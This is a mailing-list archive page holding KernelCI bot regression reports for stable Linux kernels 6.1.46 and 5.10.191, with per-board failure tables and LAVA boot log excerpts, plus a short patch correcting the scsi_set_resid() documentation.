Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2edb7d34dd120935b225
failing since 20 days (last pass: v6.1.39, first fail: v6.1.42)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2ebd96ea4b891935b21a
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2ebd96ea4b891935b21f
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:17:54.346500 <8>[ 10.170024] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302528_1.4.2.3.1>
2023-08-16T20:17:54.349451 + set +x
2023-08-16T20:17:54.450581 / #
2023-08-16T20:17:54.551389 # #export SHELL=/bin/sh
2023-08-16T20:17:54.551646
2023-08-16T20:17:54.652160 / # export SHELL=/bin/sh. /lava-11302528/environment
2023-08-16T20:17:54.652331
2023-08-16T20:17:54.752819 / # . /lava-11302528/environment/lava-11302528/bin/lava-test-runner /lava-11302528/1
2023-08-16T20:17:54.753108
2023-08-16T20:17:54.758777 / # /lava-11302528/bin/lava-test-runner /lava-11302528/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2eb67b1a2ff48935b1fc
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2eb67b1a2ff48935b201
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:16:36.563797 + <8>[ 11.710067] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302547_1.4.2.3.1>
2023-08-16T20:16:36.564272 set +x
2023-08-16T20:16:36.672147 / # #
2023-08-16T20:16:36.774587 export SHELL=/bin/sh
2023-08-16T20:16:36.775368 #
2023-08-16T20:16:36.877006 / # export SHELL=/bin/sh. /lava-11302547/environment
2023-08-16T20:16:36.877878
2023-08-16T20:16:36.979514 / # . /lava-11302547/environment/lava-11302547/bin/lava-test-runner /lava-11302547/1
2023-08-16T20:16:36.980814
2023-08-16T20:16:36.985945 / # /lava-11302547/bin/lava-test-runner /lava-11302547/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2ec87d34dd120935b204
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2ec87d34dd120935b209
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:16:59.502753 <8>[ 10.153873] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302511_1.4.2.3.1>
2023-08-16T20:16:59.506040 + set +x
2023-08-16T20:16:59.607294 #
2023-08-16T20:16:59.607565
2023-08-16T20:16:59.708167 / # #export SHELL=/bin/sh
2023-08-16T20:16:59.708348
2023-08-16T20:16:59.808922 / # export SHELL=/bin/sh. /lava-11302511/environment
2023-08-16T20:16:59.809098
2023-08-16T20:16:59.909626 / # . /lava-11302511/environment/lava-11302511/bin/lava-test-runner /lava-11302511/1
2023-08-16T20:16:59.909885
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
at91-sama5d4_xplained | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd30a510a3f1acaf35b1f1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm/multi_v7_defco…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm/multi_v7_defco…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd30a510a3f1acaf35b1f2
new failure (last pass: v6.1.39)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd302ee034e7a3eb35b1fb
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd302ee034e7a3eb35b200
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:23:07.571536 + set +x
2023-08-16T20:23:07.578069 <8>[ 10.656434] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302534_1.4.2.3.1>
2023-08-16T20:23:07.685789 / # #
2023-08-16T20:23:07.788154 export SHELL=/bin/sh
2023-08-16T20:23:07.789060 #
2023-08-16T20:23:07.890851 / # export SHELL=/bin/sh. /lava-11302534/environment
2023-08-16T20:23:07.891729
2023-08-16T20:23:07.993431 / # . /lava-11302534/environment/lava-11302534/bin/lava-test-runner /lava-11302534/1
2023-08-16T20:23:07.994819
2023-08-16T20:23:07.999278 / # /lava-11302534/bin/lava-test-runner /lava-11302534/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2ebe96ea4b891935b225
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2ebe96ea4b891935b22a
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:17:47.630203 + set +x
2023-08-16T20:17:47.636713 <8>[ 10.650097] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302546_1.4.2.3.1>
2023-08-16T20:17:47.738717
2023-08-16T20:17:47.839348 / # #export SHELL=/bin/sh
2023-08-16T20:17:47.839560
2023-08-16T20:17:47.940066 / # export SHELL=/bin/sh. /lava-11302546/environment
2023-08-16T20:17:47.940276
2023-08-16T20:17:48.040824 / # . /lava-11302546/environment/lava-11302546/bin/lava-test-runner /lava-11302546/1
2023-08-16T20:17:48.041147
2023-08-16T20:17:48.046298 / # /lava-11302546/bin/lava-test-runner /lava-11302546/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2eb596ea4b891935b20f
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2eb596ea4b891935b214
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:16:34.452323 + set<8>[ 11.792307] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302545_1.4.2.3.1>
2023-08-16T20:16:34.452531 +x
2023-08-16T20:16:34.558414 / # #
2023-08-16T20:16:34.660366 export SHELL=/bin/sh
2023-08-16T20:16:34.660565 #
2023-08-16T20:16:34.761101 / # export SHELL=/bin/sh. /lava-11302545/environment
2023-08-16T20:16:34.761270
2023-08-16T20:16:34.861797 / # . /lava-11302545/environment/lava-11302545/bin/lava-test-runner /lava-11302545/1
2023-08-16T20:16:34.862066
2023-08-16T20:16:34.866599 / # /lava-11302545/bin/lava-test-runner /lava-11302545/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2eabc4a1e69ced35b1ec
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/x86_64/x86_64_defc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2eabc4a1e69ced35b1f1
failing since 139 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-16T20:16:29.164242 + set<8>[ 11.927804] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302504_1.4.2.3.1>
2023-08-16T20:16:29.164707 +x
2023-08-16T20:16:29.272552 / # #
2023-08-16T20:16:29.374079 export SHELL=/bin/sh
2023-08-16T20:16:29.374269 #
2023-08-16T20:16:29.474910 / # export SHELL=/bin/sh. /lava-11302504/environment
2023-08-16T20:16:29.475667
2023-08-16T20:16:29.577060 / # . /lava-11302504/environment/lava-11302504/bin/lava-test-runner /lava-11302504/1
2023-08-16T20:16:29.578555
2023-08-16T20:16:29.583283 / # /lava-11302504/bin/lava-test-runner /lava-11302504/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd31975fde58914335b3fa
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd31975fde58914335b3ff
failing since 28 days (last pass: v6.1.38, first fail: v6.1.39)
2023-08-16T20:30:44.867922 / # #
2023-08-16T20:30:44.970029 export SHELL=/bin/sh
2023-08-16T20:30:44.970785 #
2023-08-16T20:30:45.072205 / # export SHELL=/bin/sh. /lava-11302624/environment
2023-08-16T20:30:45.073000
2023-08-16T20:30:45.174485 / # . /lava-11302624/environment/lava-11302624/bin/lava-test-runner /lava-11302624/1
2023-08-16T20:30:45.175652
2023-08-16T20:30:45.192286 / # /lava-11302624/bin/lava-test-runner /lava-11302624/1
2023-08-16T20:30:45.240829 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T20:30:45.241370 + cd /lav<8>[ 19.070748] <LAVA_SIGNAL_STARTRUN 1_bootrr 11302624_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd31c150552359ed35b241
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd31c150552359ed35b246
failing since 28 days (last pass: v6.1.38, first fail: v6.1.39)
2023-08-16T20:29:32.219460 / # #
2023-08-16T20:29:33.296454 export SHELL=/bin/sh
2023-08-16T20:29:33.297734 #
2023-08-16T20:29:34.785441 / # export SHELL=/bin/sh. /lava-11302619/environment
2023-08-16T20:29:34.787245
2023-08-16T20:29:37.511446 / # . /lava-11302619/environment/lava-11302619/bin/lava-test-runner /lava-11302619/1
2023-08-16T20:29:37.513861
2023-08-16T20:29:37.527710 / # /lava-11302619/bin/lava-test-runner /lava-11302619/1
2023-08-16T20:29:37.543712 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T20:29:37.586636 + cd /lava-113026<8>[ 28.482306] <LAVA_SIGNAL_STARTRUN 1_bootrr 11302619_1.5.2.4.5>
... (39 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd31ac00c5e6d2c335b285
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
HTML log: https://storage.kernelci.org//stable/linux-6.1.y/v6.1.46/arm64/defconfig/gc…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd31ac00c5e6d2c335b28a
failing since 28 days (last pass: v6.1.38, first fail: v6.1.39)
2023-08-16T20:30:58.867445 / # #
2023-08-16T20:30:58.969850 export SHELL=/bin/sh
2023-08-16T20:30:58.970636 #
2023-08-16T20:30:59.072088 / # export SHELL=/bin/sh. /lava-11302623/environment
2023-08-16T20:30:59.072859
2023-08-16T20:30:59.174378 / # . /lava-11302623/environment/lava-11302623/bin/lava-test-runner /lava-11302623/1
2023-08-16T20:30:59.175601
2023-08-16T20:30:59.192487 / # /lava-11302623/bin/lava-test-runner /lava-11302623/1
2023-08-16T20:30:59.256340 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T20:30:59.256872 + cd /lava-1130262<8>[ 18.779238] <LAVA_SIGNAL_STARTRUN 1_bootrr 11302623_1.5.2.4.5>
... (11 line(s) more)
2 years, 4 months
- 1
- 0
[PATCH 1/3] scsi: core: Fix the scsi_set_resid() documentation
by Bart Van Assche
Because scsi_finish_command() subtracts the residual from the buffer
length, residual overflows must not be reported. Reflect this in the
SCSI documentation. See also commit 9237f04e12cc ("scsi: core: Fix
scsi_get/set_resid() interface")
Cc: Damien Le Moal <dlemoal(a)kernel.org>
Cc: Hannes Reinecke <hare(a)suse.de>
Cc: Douglas Gilbert <dgilbert(a)interlog.com>
Cc: stable(a)vger.kernel.org
Signed-off-by: Bart Van Assche <bvanassche(a)acm.org>
---
Documentation/scsi/scsi_mid_low_api.rst | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Documentation/scsi/scsi_mid_low_api.rst b/Documentation/scsi/scsi_mid_low_api.rst
index 6fa3a6279501..022198c51350 100644
--- a/Documentation/scsi/scsi_mid_low_api.rst
+++ b/Documentation/scsi/scsi_mid_low_api.rst
@@ -1190,11 +1190,11 @@ Members of interest:
- pointer to scsi_device object that this command is
associated with.
resid
- - an LLD should set this signed integer to the requested
+ - an LLD should set this unsigned integer to the requested
transfer length (i.e. 'request_bufflen') less the number
of bytes that are actually transferred. 'resid' is
preset to 0 so an LLD can ignore it if it cannot detect
- underruns (overruns should be rare). If possible an LLD
+ underruns (overruns should not be reported). An LLD
should set 'resid' prior to invoking 'done'. The most
interesting case is data transfers from a SCSI target
device (e.g. READs) that underrun.
2 years, 4 months
- 3
- 3
stable/linux-5.10.y baseline: 121 runs, 9 regressions (v5.10.191)
by kernelci.org bot
stable/linux-5.10.y baseline: 121 runs, 9 regressions (v5.10.191)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
juno-uboot | arm64 | lab-broonie | gcc-10 | defconfig | 1
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable/branch/linux-5.10.y/kernel/v5.10.191/p…
Test: baseline
Tree: stable
Branch: linux-5.10.y
Describe: v5.10.191
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: da742ebfa00c3add4a358dd79ec92161c07e1435
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2b43334787944935b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2b43334787944935b1da
new failure (last pass: v5.10.189)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2b8bb2d0aa38a035b1e6
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2b8bb2d0aa38a035b1eb
failing since 210 days (last pass: v5.10.158, first fail: v5.10.164)
2023-08-16T20:03:15.137171 + set +x
2023-08-16T20:03:15.146012 <8>[ 11.204263] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743609_1.5.2.4.1>
2023-08-16T20:03:15.249830 / # #
2023-08-16T20:03:15.351144 export SHELL=/bin/sh
2023-08-16T20:03:15.351514 #
2023-08-16T20:03:15.351684 / # <3>[ 11.372530] Bluetooth: hci0: command 0xfc18 tx timeout
2023-08-16T20:03:15.452726 export SHELL=/bin/sh. /lava-3743609/environment
2023-08-16T20:03:15.453128
2023-08-16T20:03:15.554261 / # . /lava-3743609/environment/lava-3743609/bin/lava-test-runner /lava-3743609/1
2023-08-16T20:03:15.554793
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2fdd28274f5ef335b1ea
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2fde28274f5ef335b1ef
failing since 133 days (last pass: v5.10.176, first fail: v5.10.177)
2023-08-16T20:21:46.180881 + set +x
2023-08-16T20:21:46.187501 <8>[ 10.333452] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302334_1.4.2.3.1>
2023-08-16T20:21:46.292081 / # #
2023-08-16T20:21:46.394063 export SHELL=/bin/sh
2023-08-16T20:21:46.394256 #
2023-08-16T20:21:46.494795 / # export SHELL=/bin/sh. /lava-11302334/environment
2023-08-16T20:21:46.495017
2023-08-16T20:21:46.595670 / # . /lava-11302334/environment/lava-11302334/bin/lava-test-runner /lava-11302334/1
2023-08-16T20:21:46.596682
2023-08-16T20:21:46.601313 / # /lava-11302334/bin/lava-test-runner /lava-11302334/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
juno-uboot | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd292bef35be65f435b2ba
Results: 50 PASS, 11 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd292bef35be65f435b2f6
failing since 7 days (last pass: v5.10.188, first fail: v5.10.189)
2023-08-16T19:52:43.440873 / # #
2023-08-16T19:52:43.543873 export SHELL=/bin/sh
2023-08-16T19:52:43.544652 #
2023-08-16T19:52:43.646588 / # export SHELL=/bin/sh. /lava-58366/environment
2023-08-16T19:52:43.647426
2023-08-16T19:52:43.749390 / # . /lava-58366/environment/lava-58366/bin/lava-test-runner /lava-58366/1
2023-08-16T19:52:43.750689
2023-08-16T19:52:43.764770 / # /lava-58366/bin/lava-test-runner /lava-58366/1
2023-08-16T19:52:43.823576 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T19:52:43.824083 + cd /lava-58366/1/tests/1_bootrr
... (10 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a774a1-hihope-rzg2m-ex | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd46db5240ba30bf35b205
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd46db5240ba30bf35b208
failing since 20 days (last pass: v5.10.184, first fail: v5.10.188)
2023-08-16T21:59:27.187199 + set +x
2023-08-16T21:59:27.187417 <8>[ 83.728797] <LAVA_SIGNAL_ENDRUN 0_dmesg 998270_1.5.2.4.1>
2023-08-16T21:59:27.290437 / # #
2023-08-16T21:59:28.751779 export SHELL=/bin/sh
2023-08-16T21:59:28.772304 #
2023-08-16T21:59:28.772510 / # export SHELL=/bin/sh
2023-08-16T21:59:30.656770 / # . /lava-998270/environment
2023-08-16T21:59:34.113332 /lava-998270/bin/lava-test-runner /lava-998270/1
2023-08-16T21:59:34.133967 . /lava-998270/environment
2023-08-16T21:59:34.134077 / # /lava-998270/bin/lava-test-runner /lava-998270/1
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2885b7027546fc35b1e6
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd2886b7027546fc35b1eb
failing since 20 days (last pass: v5.10.185, first fail: v5.10.188)
2023-08-16T19:52:00.501769 / # #
2023-08-16T19:52:00.602728 export SHELL=/bin/sh
2023-08-16T19:52:00.603464 #
2023-08-16T19:52:00.704931 / # export SHELL=/bin/sh. /lava-11302202/environment
2023-08-16T19:52:00.705656
2023-08-16T19:52:00.807148 / # . /lava-11302202/environment/lava-11302202/bin/lava-test-runner /lava-11302202/1
2023-08-16T19:52:00.808331
2023-08-16T19:52:00.809448 / # /lava-11302202/bin/lava-test-runner /lava-11302202/1
2023-08-16T19:52:00.873728 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T19:52:00.874195 + cd /lav<8>[ 16.448361] <LAVA_SIGNAL_STARTRUN 1_bootrr 11302202_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd2d0f787dc5d41735b1d9
Results: 84 PASS, 2 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.10.y/v5.10.191/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd2d0f787dc5d41735b1df
failing since 152 days (last pass: v5.10.174, first fail: v5.10.175)
2023-08-16T20:09:33.540791 <8>[ 61.042566] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2023-08-16T20:09:34.566656 /lava-11302455/1/../bin/lava-test-case
2023-08-16T20:09:34.576009 <8>[ 62.079332] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy1-probed RESULT=fail>
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd2d0f787dc5d41735b1e0
